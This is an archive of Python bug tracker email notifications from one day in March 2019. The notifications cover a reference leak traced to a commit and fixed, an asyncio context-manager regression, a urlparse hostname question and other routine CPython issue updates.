Subject: [issue36447] test__xxsubinterpreters leaked regards and memory blocks
Message-ID: <1553680853.14.0.685192497222.issue36447@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

The buildbot x86 Gentoo Refleaks 3.x/546 had detected that test__xxxsubinterpreters is leaking references and blocks:

test__xxsubinterpreters leaked [138, 138, 138] references, sum=414
test__xxsubinterpreters leaked [69, 69, 69] memory blocks, sum=207
4 tests failed again:
    test__xxsubinterpreters test_atexit test_capi test_threading


https://buildbot.python.org/all/#/builders/1/builds/546

----------
components: Interpreter Core, Tests
messages: 338949
nosy: pablogsal
priority: normal
severity: normal
status: open
title: test__xxsubinterpreters leaked regards and memory blocks
type: resource usage
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36447>
_______________________________________

From report at bugs.python.org  Wed Mar 27 06:08:10 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 27 Mar 2019 10:08:10 +0000
Subject: [issue36447] test__xxsubinterpreters leaked regards and memory blocks
In-Reply-To: <1553680853.14.0.685192497222.issue36447@roundup.psfhosted.org>
Message-ID: <1553681290.69.0.590002210215.issue36447@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +eric.snow, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36447>
_______________________________________

From report at bugs.python.org  Wed Mar 27 06:13:09 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Wed, 27 Mar 2019 10:13:09 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1553681589.94.0.374738232377.issue36338@roundup.psfhosted.org>


Change by Pierre Glaser <pierreglaser at msn.com>:


----------
pull_requests: +12525
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Wed Mar 27 06:15:18 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Wed, 27 Mar 2019 10:15:18 +0000
Subject: [issue36447] test__xxsubinterpreters leaked regards and memory blocks
In-Reply-To: <1553680853.14.0.685192497222.issue36447@roundup.psfhosted.org>
Message-ID: <1553681718.27.0.612141235192.issue36447@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

I cannot reproduce with the current master:

? ./python -m test test__xxsubinterpreters -R :
Run tests sequentially
0:00:00 load avg: 1.50 [1/1] test__xxsubinterpreters
beginning 9 repetitions
123456789
.........

== Tests result: SUCCESS ==

1 test OK.

Total duration: 11 sec 964 ms
Tests result: SUCCESS

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36447>
_______________________________________

From report at bugs.python.org  Wed Mar 27 06:15:52 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 27 Mar 2019 10:15:52 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1553681752.14.0.794404078332.issue36338@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
pull_requests:  -12525

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Wed Mar 27 06:17:02 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Wed, 27 Mar 2019 10:17:02 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1553681822.65.0.198037574748.issue36338@roundup.psfhosted.org>


Change by Pierre Glaser <pierreglaser at msn.com>:


----------
pull_requests: +12526

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Wed Mar 27 06:17:05 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Wed, 27 Mar 2019 10:17:05 +0000
Subject: [issue36447] test__xxsubinterpreters leaked regards and memory blocks
In-Reply-To: <1553680853.14.0.685192497222.issue36447@roundup.psfhosted.org>
Message-ID: <1553681825.75.0.0941296464423.issue36447@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
Removed message: https://bugs.python.org/msg338950

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36447>
_______________________________________

From report at bugs.python.org  Wed Mar 27 06:27:54 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Wed, 27 Mar 2019 10:27:54 +0000
Subject: [issue36447] test__xxsubinterpreters leaked regards and memory blocks
In-Reply-To: <1553680853.14.0.685192497222.issue36447@roundup.psfhosted.org>
Message-ID: <1553682474.21.0.326314856729.issue36447@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Bisecting shows that:

8b9dbc017a190d13f717e714630d620adb7c7ac2 is the first bad commit
commit 8b9dbc017a190d13f717e714630d620adb7c7ac2
Author: Victor Stinner <vstinner at redhat.com>
Date:   Wed Mar 27 01:36:16 2019 +0100

    bpo-36444: Remove _PyMainInterpreterConfig (GH-12571)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36447>
_______________________________________

From report at bugs.python.org  Wed Mar 27 07:21:01 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Wed, 27 Mar 2019 11:21:01 +0000
Subject: [issue36448] Message "You will need to rebuild pythoncore to see the
 changes" should mention "make regen-all"
Message-ID: <1553685661.75.0.808746958355.issue36448@roundup.psfhosted.org>


New submission from Jeroen Demeyer <J.Demeyer at UGent.be>:

On Windows builds, one may get the message

C:\projects\cpython\PCbuild\_freeze_importlib.vcxproj(130,5): error : importlib.h, importlib_external.h, importlib_zipimport.h updated. You will need to rebuild pythoncore to see the changes.

See for example https://bugs.python.org/issue29631 and https://discuss.python.org/t/windows-ci-build-fails-with-you-will-need-to-rebuild-pythoncore-to-see-the-changes/1071

The fix is simply running "make regen-all". It would be good to mention this in that error message.

----------
components: Windows
messages: 338952
nosy: jdemeyer, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Message "You will need to rebuild pythoncore to see the changes" should mention "make regen-all"

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36448>
_______________________________________

From report at bugs.python.org  Wed Mar 27 07:22:54 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Wed, 27 Mar 2019 11:22:54 +0000
Subject: [issue36448] Message "You will need to rebuild pythoncore to see the
 changes" should mention "make regen-all"
In-Reply-To: <1553685661.75.0.808746958355.issue36448@roundup.psfhosted.org>
Message-ID: <1553685774.18.0.740202862804.issue36448@roundup.psfhosted.org>


Change by Jeroen Demeyer <J.Demeyer at UGent.be>:


----------
keywords: +patch
pull_requests: +12527
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36448>
_______________________________________

From report at bugs.python.org  Wed Mar 27 07:28:56 2019
From: report at bugs.python.org (Andrey Lemets)
Date: Wed, 27 Mar 2019 11:28:56 +0000
Subject: [issue36449] __aexit__ is not called when a context manager is used
 in an async generator
Message-ID: <1553686136.79.0.432823149733.issue36449@roundup.psfhosted.org>


New submission from Andrey Lemets <a.a.lemets at gmail.com>:

This code (https://gist.github.com/EnotYoyo/d751951c5ff77e22686715aa9ab05b56) works correctly in python3.6.6 but does not in python3.6.8+

----------
components: asyncio
messages: 338953
nosy: Andrey Lemets, asvetlov, yselivanov
priority: normal
severity: normal
status: open
title: __aexit__ is not called when a context manager is used in an async generator
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36449>
_______________________________________

From report at bugs.python.org  Wed Mar 27 07:44:22 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 27 Mar 2019 11:44:22 +0000
Subject: [issue36449] __aexit__ is not called when a context manager is used
 in an async generator
In-Reply-To: <1553686136.79.0.432823149733.issue36449@roundup.psfhosted.org>
Message-ID: <1553687062.61.0.480425942397.issue36449@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Could this be possibly due to issue34769 ? There was another report related to this commit : issue36403

?  cpython git:(41e5ec377b) git checkout 41e5ec377b && make -s -j4 > /dev/null
HEAD is now at 41e5ec377b bpo-34769: Thread safety for _asyncgen_finalizer_hook(). (GH-9716)
?  cpython git:(41e5ec377b) ./python.exe ../backups/bpo36449.py
aenter
Traceback (most recent call last):
  File "../backups/bpo36449.py", line 25, in <module>
    loop.run_until_complete(main())
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/asyncio/base_events.py", line 573, in run_until_complete
    return future.result()
  File "../backups/bpo36449.py", line 20, in main
    raise Exception
Exception
?  cpython git:(41e5ec377b) git checkout 41e5ec377b~1 && make -s -j4 > /dev/null
Previous HEAD position was 41e5ec377b bpo-34769: Thread safety for _asyncgen_finalizer_hook(). (GH-9716)
HEAD is now at 0ce31d340b bpo-32962: Fix test_gdb failure in debug build with -mcet -fcf-protection -O0 (GH-9656)
?  cpython git:(0ce31d340b) ./python.exe ../backups/bpo36449.py
aenter
aexit
Traceback (most recent call last):
  File "../backups/bpo36449.py", line 25, in <module>
    loop.run_until_complete(main())
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/asyncio/base_events.py", line 576, in run_until_complete
    return future.result()
  File "../backups/bpo36449.py", line 20, in main
    raise Exception
Exception

----------
nosy: +asksol, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36449>
_______________________________________

From report at bugs.python.org  Wed Mar 27 07:52:31 2019
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 27 Mar 2019 11:52:31 +0000
Subject: [issue35810] Object Initialization does not incref Heap-allocated
 Types
In-Reply-To: <1548275752.94.0.463880453345.issue35810@roundup.psfhosted.org>
Message-ID: <1553687551.89.0.9846214901.issue35810@roundup.psfhosted.org>


Petr Viktorin <encukou at gmail.com> added the comment:


New changeset 364f0b0f19cc3f0d5e63f571ec9163cf41c62958 by Petr Viktorin (Eddie Elizondo) in branch 'master':
bpo-35810: Incref heap-allocated types in PyObject_Init (GH-11661)
https://github.com/python/cpython/commit/364f0b0f19cc3f0d5e63f571ec9163cf41c62958


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35810>
_______________________________________

From report at bugs.python.org  Wed Mar 27 08:08:28 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 27 Mar 2019 12:08:28 +0000
Subject: [issue36407] xml.dom.minidom wrong indentation writing for CDATA
 section
In-Reply-To: <1553355529.11.0.873645774038.issue36407@roundup.psfhosted.org>
Message-ID: <1553688507.99.0.869890348308.issue36407@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36407>
_______________________________________

From report at bugs.python.org  Wed Mar 27 08:26:56 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Wed, 27 Mar 2019 12:26:56 +0000
Subject: [issue36447] test__xxsubinterpreters leaked regards and memory blocks
In-Reply-To: <1553680853.14.0.685192497222.issue36447@roundup.psfhosted.org>
Message-ID: <1553689616.92.0.0763106793215.issue36447@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
keywords: +patch
pull_requests: +12528
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36447>
_______________________________________

From report at bugs.python.org  Wed Mar 27 08:40:20 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 12:40:20 +0000
Subject: [issue36444] Python initialization: remove _PyMainInterpreterConfig
In-Reply-To: <1553644380.25.0.294234287845.issue36444@roundup.psfhosted.org>
Message-ID: <1553690420.14.0.910114474723.issue36444@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 5ac27a50ff2b42216746fedc0522a92c53089bb3 by Victor Stinner in branch 'master':
bpo-36444: Rework _Py_InitializeFromConfig() API (GH-12576)
https://github.com/python/cpython/commit/5ac27a50ff2b42216746fedc0522a92c53089bb3


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36444>
_______________________________________

From report at bugs.python.org  Wed Mar 27 08:43:52 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 12:43:52 +0000
Subject: [issue36447] test__xxsubinterpreters leaked regards and memory blocks
In-Reply-To: <1553680853.14.0.685192497222.issue36447@roundup.psfhosted.org>
Message-ID: <1553690632.67.0.27443430825.issue36447@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 34ef64fe5947bd7e1b075c785fc1125c4e600cd4 by Victor Stinner (Pablo Galindo) in branch 'master':
bpo-36447, bpo-36447: Fix refleak in _PySys_InitMain() (GH-12586)
https://github.com/python/cpython/commit/34ef64fe5947bd7e1b075c785fc1125c4e600cd4


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36447>
_______________________________________

From report at bugs.python.org  Wed Mar 27 08:44:16 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 12:44:16 +0000
Subject: [issue36447] test__xxsubinterpreters leaked regards and memory blocks
In-Reply-To: <1553680853.14.0.685192497222.issue36447@roundup.psfhosted.org>
Message-ID: <1553690656.42.0.107276299112.issue36447@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36447>
_______________________________________

From report at bugs.python.org  Wed Mar 27 09:00:37 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Wed, 27 Mar 2019 13:00:37 +0000
Subject: [issue36447] test__xxsubinterpreters leaked references and memory
 blocks
In-Reply-To: <1553680853.14.0.685192497222.issue36447@roundup.psfhosted.org>
Message-ID: <1553691637.33.0.0555170215062.issue36447@roundup.psfhosted.org>


Change by Zackery Spytz <zspytz at gmail.com>:


----------
title: test__xxsubinterpreters leaked regards and memory blocks -> test__xxsubinterpreters leaked references and memory blocks

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36447>
_______________________________________

From report at bugs.python.org  Wed Mar 27 09:07:40 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 27 Mar 2019 13:07:40 +0000
Subject: [issue32312] Create Py_AtExitRegister C API
In-Reply-To: <1513197920.45.0.213398074469.issue32312@psf.upfronthosting.co.za>
Message-ID: <1553692060.42.0.427120583573.issue32312@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32312>
_______________________________________

From report at bugs.python.org  Wed Mar 27 09:18:18 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 27 Mar 2019 13:18:18 +0000
Subject: [issue6422] timeit called from within Python should allow autoranging
In-Reply-To: <1246806912.2.0.722769600334.issue6422@psf.upfronthosting.co.za>
Message-ID: <1553692698.95.0.391532875896.issue6422@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Hello Steven,

Were you working on the additional functionality that you mentioned in msg272704 or would that be open for someone else to do?  Thanks!

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6422>
_______________________________________

From report at bugs.python.org  Wed Mar 27 09:26:23 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 27 Mar 2019 13:26:23 +0000
Subject: [issue25251] Unknown MS Compiler version 1900
In-Reply-To: <1443392264.43.0.443478210283.issue25251@psf.upfronthosting.co.za>
Message-ID: <1553693183.83.0.107036863917.issue25251@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Should this issue be closed as third-party or do we want to leave it open as reference?

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue25251>
_______________________________________

From report at bugs.python.org  Wed Mar 27 09:33:00 2019
From: report at bugs.python.org (Ronald Oussoren)
Date: Wed, 27 Mar 2019 13:33:00 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1553693580.7.0.92634731498.issue36338@roundup.psfhosted.org>


Ronald Oussoren <ronaldoussoren at mac.com> added the comment:

Given a quick scan of RFC 3986[1] I'd say that the behaviour of Ruby seems to be the most correct. That said, I'd also check what the major browsers do in this case (FWIW both FF and Safari use 'benign.com' as the hostname in this case).


[1] https://tools.ietf.org/html/rfc3986#page-17

----------
nosy: +ronaldoussoren

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Wed Mar 27 09:46:03 2019
From: report at bugs.python.org (Fred L. Drake, Jr.)
Date: Wed, 27 Mar 2019 13:46:03 +0000
Subject: [issue36418] urllib.parse.*Result: support _replace for additional
 computed addresses
In-Reply-To: <1553465129.93.0.5539024748.issue36418@roundup.psfhosted.org>
Message-ID: <1553694363.75.0.996532615193.issue36418@roundup.psfhosted.org>


Change by Fred L. Drake, Jr. <fdrake at gmail.com>:


----------
nosy: +fdrake

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36418>
_______________________________________

From report at bugs.python.org  Wed Mar 27 09:57:01 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 27 Mar 2019 13:57:01 +0000
Subject: [issue36338] urlparse of urllib returns wrong hostname
In-Reply-To: <1552896371.92.0.122580708995.issue36338@roundup.psfhosted.org>
Message-ID: <1553695021.15.0.464593816679.issue36338@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
pull_requests:  -12526

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36338>
_______________________________________

From report at bugs.python.org  Wed Mar 27 09:57:12 2019
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 27 Mar 2019 13:57:12 +0000
Subject: [issue36446] Need Windows x86-64 MSI installer for Python >= 3.x.x
In-Reply-To: <1553679884.72.0.161071548303.issue36446@roundup.psfhosted.org>
Message-ID: <1553695032.48.0.352134497547.issue36446@roundup.psfhosted.org>


Zachary Ware <zachary.ware at gmail.com> added the comment:

Our installer scheme was modernized for Python 3.5, and a description of its use can be found here: https://docs.python.org/3/using/windows.html

The new scheme is significantly more flexible, though it is somewhat more complex to enable that flexibility.  If you have a case that can't be handled by the current installer, please open an issue detailing what you want to do and how the installer falls short.

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36446>
_______________________________________

From report at bugs.python.org  Wed Mar 27 10:22:28 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 27 Mar 2019 14:22:28 +0000
Subject: [issue16995] Add Base32 support for RFC4648 "Extended Hex" alphabet
 (patch attached)
In-Reply-To: <1358533279.94.0.666576182033.issue16995@psf.upfronthosting.co.za>
Message-ID: <1553696548.59.0.429799747915.issue16995@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Is there interest in having this patch converted to a pull request?

----------
nosy: +cheryl.sabella
versions: +Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16995>
_______________________________________

From report at bugs.python.org  Wed Mar 27 10:34:14 2019
From: report at bugs.python.org (Chih-Hsuan Yen)
Date: Wed, 27 Mar 2019 14:34:14 +0000
Subject: [issue31341] remove IRIX support code
In-Reply-To: <1504559271.96.0.394977941719.issue31341@psf.upfronthosting.co.za>
Message-ID: <1553697254.9.0.62590489718.issue31341@roundup.psfhosted.org>


Change by Chih-Hsuan Yen <yan12125 at gmail.com>:


----------
pull_requests: +12529

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31341>
_______________________________________

From report at bugs.python.org  Wed Mar 27 10:39:40 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Wed, 27 Mar 2019 14:39:40 +0000
Subject: [issue35900] Add pickler hook for the user to customize the
 serialization of user defined functions and types.
In-Reply-To: <1549377622.96.0.737929222958.issue35900@roundup.psfhosted.org>
Message-ID: <1553697580.84.0.159707772865.issue35900@roundup.psfhosted.org>


Change by Pierre Glaser <pierreglaser at msn.com>:


----------
pull_requests: +12530

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35900>
_______________________________________

From report at bugs.python.org  Wed Mar 27 10:40:46 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 27 Mar 2019 14:40:46 +0000
Subject: [issue35983] tp_dealloc trashcan shouldn't be called for subclasses
In-Reply-To: <1550055751.42.0.717332216151.issue35983@roundup.psfhosted.org>
Message-ID: <1553697646.68.0.744437439726.issue35983@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35983>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:04:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 15:04:47 +0000
Subject: [issue36443] Disable coerce_c_locale and utf8_mode by default in
 _PyPreConfig?
In-Reply-To: <1553641450.58.0.478845873462.issue36443@roundup.psfhosted.org>
Message-ID: <1553699087.01.0.169716082968.issue36443@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12531
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36443>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:04:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 15:04:47 +0000
Subject: [issue36202] Calling Py_DecodeLocale() before _PyPreConfig_Write()
 can produce mojibake
In-Reply-To: <1551833632.89.0.173170385409.issue36202@roundup.psfhosted.org>
Message-ID: <1553699087.08.0.219539968136.issue36202@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12532
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36202>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:05:38 2019
From: report at bugs.python.org (John Bachman)
Date: Wed, 27 Mar 2019 15:05:38 +0000
Subject: [issue36450] 3D Array Assignment to all 2D sub-arrays
Message-ID: <1553699138.18.0.271627371672.issue36450@roundup.psfhosted.org>


New submission from John Bachman <jbachman at umass.edu>:

Tested on Python3.6 on Ubuntu 18.04
The following code snippet produces the wrong results.

Snippet:

M = [[[0] * 2] * 2] * 2                                                                
M[0][0][0] = 1                                                                                                                                                                 
print(M[0][0][0]) # Should be one                                                                      
print(M[1][0][0]) # Should still be zero 

My output:
1
1

For some reason when you assign to any list inside the 3D matrix, all lists in the array are changed, 2D Matrix works but 3D modifies every 2D matrix.

----------
components: Interpreter Core
messages: 338963
nosy: John Bachman
priority: normal
severity: normal
status: open
title: 3D Array Assignment to all 2D sub-arrays
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36450>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:07:38 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 15:07:38 +0000
Subject: [issue36444] Python initialization: remove _PyMainInterpreterConfig
In-Reply-To: <1553644380.25.0.294234287845.issue36444@roundup.psfhosted.org>
Message-ID: <1553699258.58.0.806589042863.issue36444@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36444>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:09:46 2019
From: report at bugs.python.org (John Bachman)
Date: Wed, 27 Mar 2019 15:09:46 +0000
Subject: [issue36450] 3D Array Assignment to all 2D sub-arrays
In-Reply-To: <1553699138.18.0.271627371672.issue36450@roundup.psfhosted.org>
Message-ID: <1553699386.8.0.659957954685.issue36450@roundup.psfhosted.org>


Change by John Bachman <jbachman at umass.edu>:


----------
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36450>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:11:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 15:11:22 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1553699482.8.0.33253480531.issue31904@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset f4333d0479d6974d142e858522e95cbf8381f016 by Victor Stinner (hliu0) in branch 'master':
bpo-31904: Fix test_utf8_mode on VxWorks (GH-12428)
https://github.com/python/cpython/commit/f4333d0479d6974d142e858522e95cbf8381f016


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:11:45 2019
From: report at bugs.python.org (Eric Snow)
Date: Wed, 27 Mar 2019 15:11:45 +0000
Subject: [issue32312] Create Py_AtExitRegister C API
In-Reply-To: <1513202084.24.0.213398074469.issue32312@psf.upfronthosting.co.za>
Message-ID: <CALFfu7ArSWhXFnfzv92PUdv-4GM0tiKmA+2m0H3F+qHB6WxicQ@mail.gmail.com>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

> Neil Schemenauer <nas-python at arctrix.com> added the comment:
> Regarding m_traverse, maybe the list of finalizers should be stored somewhere in the interpreter
> state, not in the atexit module state.  That would make more sense to me.  atexit could merely be
> a way to manage it rather than actually holding it.

+1

----------
nosy: +eric.snow

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32312>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:14:58 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 27 Mar 2019 15:14:58 +0000
Subject: [issue36441] Cannot create venv with debug binaries installed
In-Reply-To: <1553618744.7.0.176169992924.issue36441@roundup.psfhosted.org>
Message-ID: <1553699698.62.0.242329522915.issue36441@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 4a9a505d6f2474a570422dad89f8d1b344d6cd36 by Steve Dower in branch 'master':
bpo-36441: Fixes creating a venv when debug binaries are installed. (#12566)
https://github.com/python/cpython/commit/4a9a505d6f2474a570422dad89f8d1b344d6cd36


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36441>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:15:18 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 15:15:18 +0000
Subject: [issue36441] Cannot create venv with debug binaries installed
In-Reply-To: <1553618744.7.0.176169992924.issue36441@roundup.psfhosted.org>
Message-ID: <1553699718.96.0.14791144291.issue36441@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12533

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36441>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:15:32 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Wed, 27 Mar 2019 15:15:32 +0000
Subject: [issue32312] Create Py_AtExitRegister C API
In-Reply-To: <1513197920.45.0.213398074469.issue32312@psf.upfronthosting.co.za>
Message-ID: <1553699732.76.0.287521016832.issue32312@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

This may be especially useful to make sure that extension modules that have threads that were not created by Python calling into Python (registering with the interpreter and picking up the GIL) are stopped before the interpreter starts shutting down to avoid callbacks in the middle of the tear-down procedure.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32312>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:34:55 2019
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 27 Mar 2019 15:34:55 +0000
Subject: [issue33261] inspect.isgeneratorfunction fails on hand-created methods
In-Reply-To: <1523437193.82.0.682650639539.issue33261@psf.upfronthosting.co.za>
Message-ID: <1553700895.89.0.665861619821.issue33261@roundup.psfhosted.org>


Petr Viktorin <encukou at gmail.com> added the comment:

I just reviewed, and I plan to merge it if I don't see any pushback from the others.
Sorry for the extreme delay.

----------
nosy: +petr.viktorin

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33261>
_______________________________________

From report at bugs.python.org  Wed Mar 27 11:39:37 2019
From: report at bugs.python.org (Eric Snow)
Date: Wed, 27 Mar 2019 15:39:37 +0000
Subject: [issue36450] 3D Array Assignment to all 2D sub-arrays
In-Reply-To: <1553699138.18.0.271627371672.issue36450@roundup.psfhosted.org>
Message-ID: <1553701177.44.0.736116919117.issue36450@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

In Python, multiplication on a list does not make copies of the values in the original list.  So what you have done is equivalent to the following:

  a = [0, 0]
  b = [a, a]
  M = [b, b]

Hence:

  >>> M[0] is M[1]
  True
  >>> M[0][0] is M[0][1]
  True
  >>> M[1][0] is M[1][1]
  True
